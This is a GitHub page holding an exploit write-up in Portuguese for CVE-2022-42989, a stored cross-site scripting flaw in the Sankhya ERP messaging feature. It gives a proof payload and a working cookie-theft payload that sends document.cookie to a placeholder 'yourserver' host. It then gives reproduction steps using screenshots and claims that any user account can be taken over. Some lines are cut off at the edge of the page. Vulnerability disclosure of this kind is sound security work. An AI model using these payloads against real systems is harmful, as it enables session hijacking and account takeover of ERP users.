

main ▾

...

## CVEs / SankhyaERP\_XSS\_Account\_Takeover.txt



0xLUC4S Add files via upload

[History](#)

1 contributor

31 lines (23 sloc) | 1.64 KB

...

```
1 # Exploit Title: ERP Sankhya - XSS to Account Takeover
2 # Google Dork: N/A
3 # Date: 19/10/2022
4 # Exploit Author: Lucas Alves Da Cunha - (0xLucas)
5 # Vendor Homepage: https://www.sankhya.com.br
6 # Version: Sankhya Om <= 4.13.x
7 # Tested on: Sankhya Om 4.11
8 # CVE: CVE-2022-42989
9
10 # Descrição:
11     Um usuário comum no ERP Sankhya pode enviar uma mensagem para qualquer outro usuário do si
12
13 Payload para verificar existência da vulnerabilidade:
14     <img src=1 onerror=alert(1)>
15
16 Payload utilizado para capturar os dados da sessão do usuário:
17     <img src=1 onerror=document.location="http://yourserver/?cookie="+document.cookie>
18
19 # Passos para reprodução:
20     1 - Encontrando a funcionalidade: https://i.imgur.com/B9SWknH.png
21
22     2 - Enviando payload para verificar existência da vulnerabilidade: https://i.imgur.com/ZKS
23     2.1 - Vulnerabilidade comprovada: https://i.imgur.com/1KiAa1m.png
24
25     3 - Explorando a vulnerabilidade: https://i.imgur.com/n8Jevum.png
26     3.1 - Sessão capturada: https://i.imgur.com/aDatjyN.png
27
28     Podemos utilizar os dados da sessão capturada e manipular a sessão utilizando a ferramenta
29
```

30 # Impacto:

31 Explorando essa vulnerabilidade, podemos comprometer qualquer conta de usuário do sistema,